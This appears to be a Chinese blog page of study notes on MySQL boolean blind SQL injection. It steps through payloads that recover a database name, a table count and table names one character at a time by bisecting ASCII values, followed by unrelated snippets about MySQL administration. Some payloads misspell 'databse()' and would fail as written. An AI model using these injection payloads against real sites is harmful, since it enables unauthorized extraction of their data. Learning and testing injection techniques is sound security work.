学习笔记 MYSQL盲注

猜解当前数据库名
输入 1 ’  and length(database())=1 # ,显示不存在;
输入 1 ’  and length(database())=2 # ,显示不存在;
输入 1 ’  and length(database())=3 # ,显示不存在;
输入 1 ’  and length(database())=4 # ,显示存在: 

采用二分法猜解数据库名
 输入 1’ and ascii(substr(databse(),1,1))>97 # ,显示存在,说明数据库名的第一个字符的 ascii 值大于 97 (小写字母 a 的 ascii 值);
输入 1’ and ascii(substr(databse(),1,1))<122 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 122 (小写字母 z 的 ascii 值);
输入 1’ and ascii(substr(databse(),1,1))<109 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 109 (小写字母 m 的 ascii 值);
输入 1’ and ascii(substr(databse(),1,1))<103 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 103 (小写字母 g 的 ascii 值);
输入 1’ and ascii(substr(databse(),1,1))<100 # ,显示不存在,说明数据库名的第一个字符的 ascii 值不小于 100 (小写字母 d 的 ascii 值);
输入 1’ and ascii(substr(databse(),1,1))>100 # ,显示不存在,说明数据库名的第一个字符的 ascii 值不大于 100 (小写字母 d 的 ascii 值),所以数据库名的第一个字符的 ascii 值为 100 ,即小写字母 d 。 

猜解数据库中的表名
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 #显示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #显示存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #显示不存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #显示不存在
…
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #显示存在
说明第一个表名长度为 9 。

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g。
时间: 2024-10-10 21:37:04

学习笔记 MYSQL盲注的相关文章

Mysql DBA高级运维学习笔记-mysql数据库介绍

本文为我自己学习老男孩MySQL DBA 高级运维课程的学习笔记,内容均出自老男孩MySQL DBA 高级运维课程,老男孩老师讲的很好,非常感谢老男孩老师.我是一个菜鸟刚接触运维,如果我写的文章有不对的地方:请各位行业的精英.老师多多批评指点,呵呵~ 1.1 数据库介绍 1.1.1 什么是数据库?简单的说,数据库就是一个存放数据的仓库,这个仓库是按照一定的数据结构(数据结构是指数据的组织形式或数据之间的联系)来组织.存储的,我们可以通过数据库提供的多种方法来管理数据库里的数据. 1.2 数据库的

mysql盲注学习-1

mysql: 1.left() //left()函数 left(a,b)从左侧截取a,的b位 2.mid() //mid()函数 参数 描述 column_name 必需.要提取字符的字段. start 必需.规定开始位置(起始值是 1). length 可选.要返回的字符数.如果省略,则 MID() 函数返回剩余文本. MID(DATABASE(),1,1)>'a',查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符. 3.substr() //su

学习笔记--mysql的AB复制

MySQL 提供了数据库的同步功能,这对我们实现数据库的冗灾.备份.恢复.负载均衡等都是有极大帮助的. 客户端的数据全部写入mysql主服务器中,主服务器将数据同步至从服务器,当用户读取数据时在从服务器中进行读取,极大降低了主服务器的压力,提高了整体业务的水平 实验环境:master:server6 slave:server7 Mysql版本:Ver 14.14 Distrib 5.1.71 Master 配置: vim   /etc/my.cnf 在[mysqld]下添加一下参数 log-bi

MySQL学习笔记-MySQL体系结构

一.MySQL体系结构总览 不管是用哪种数据库,了解数据库的体系结构都是极为重要的.MySQL体系结构主要由数据库和数据库实例构成. 数据库:物理操作系统文件或者其它文件的集合,在mysql中,数据库文件可以是frm.myd.myi.ibd等结尾的文件,当使用ndb存储引擎时候,不是os文件,是存放于内存中的文件. 数据库实例:由数据库后台进程/线程以及一个共享内存区组成,共享内存可以被运行的后台进程/线程所共享. 以下为MySQL数据库的体系结构: 最上层的服务并不是MySQL所独有的,大多数

Mysql DBA 高级运维学习笔记-mysql建表语句及表知识

9.9 表操作 9.9.1以默认字符集建库 以默认格式的为例,指定字符集建库 [email protected] 07:0205->create database wwn; Query OK, 1 row affected (0.00 sec) [email protected] 07:0339->SHOW CREATE DATABASE wwn\G; *************************** 1. row *************************** Database

Mysql DBA 高级运维学习笔记-Mysql增量备份及数据恢复实战

大家好本文讲了mysql数据库的增量恢复.老男孩老师讲的很好很细,我自己呢整理了老师讲的部分内容,请大家将就看:文章内容比较多.比较乱,请大家认真总结知识,发现问题请及时批评指点~ 1.1 MySQL数据库的备份与恢复 1.1.1备份单个数据库练习多种参数使用 Mysql数据库自带了一个很好用的备份命令,就是mysqldump, 它的基本使用如下: 语法:mysqldump –u用户名 –p密码 数据库名>备份的文件名 范烈1:备份名字为cuizhong的库 a.查看备份前的数据 [[email

PHP学习笔记------MYSQL

/* 启动MySQL */net start mysql /* 连接与断开服务器 */mysql -h 地址 -P 端口 -u 用户名 -p 密码 /* 跳过权限验证登录MySQL */mysqld --skip-grant-tables-- 修改root密码密码加密函数password()update mysql.user set password=password('root'); SHOW PROCESSLIST -- 显示哪些线程正在运行SHOW VARIABLES -- /* 数据库操

Java学习笔记——MySQL开放3306接口与设置用户权限

系统Ubuntu16.04 LTS 1.开放3306端口查看端口状态:netstat -an|grep 3306tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN目前只有本机可以访问     输入指令:sudo vim /etc/mysql/mysql.conf.d/mysqld.cnf如果之前配置过全局配置文件,也可输入指令:sudo vim /etc/mysql/my.cnf修改文件,找到下面那

数据库学习笔记——MySQL卸载

1.控制面板里的增加删除程序内进行删除 2.删除MySQL文件夹下的my.ini文件,如果备份好,可以直接将文件夹全部删除 3.看看注册表里这几个地方删除没有 HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/Eventlog/Application/MySQL 目录删除 HKEY_LOCAL_MACHINE/SYSTEM/ControlSet002/Services/Eventlog/Application/MySQL 目录删除 HKEY_LOC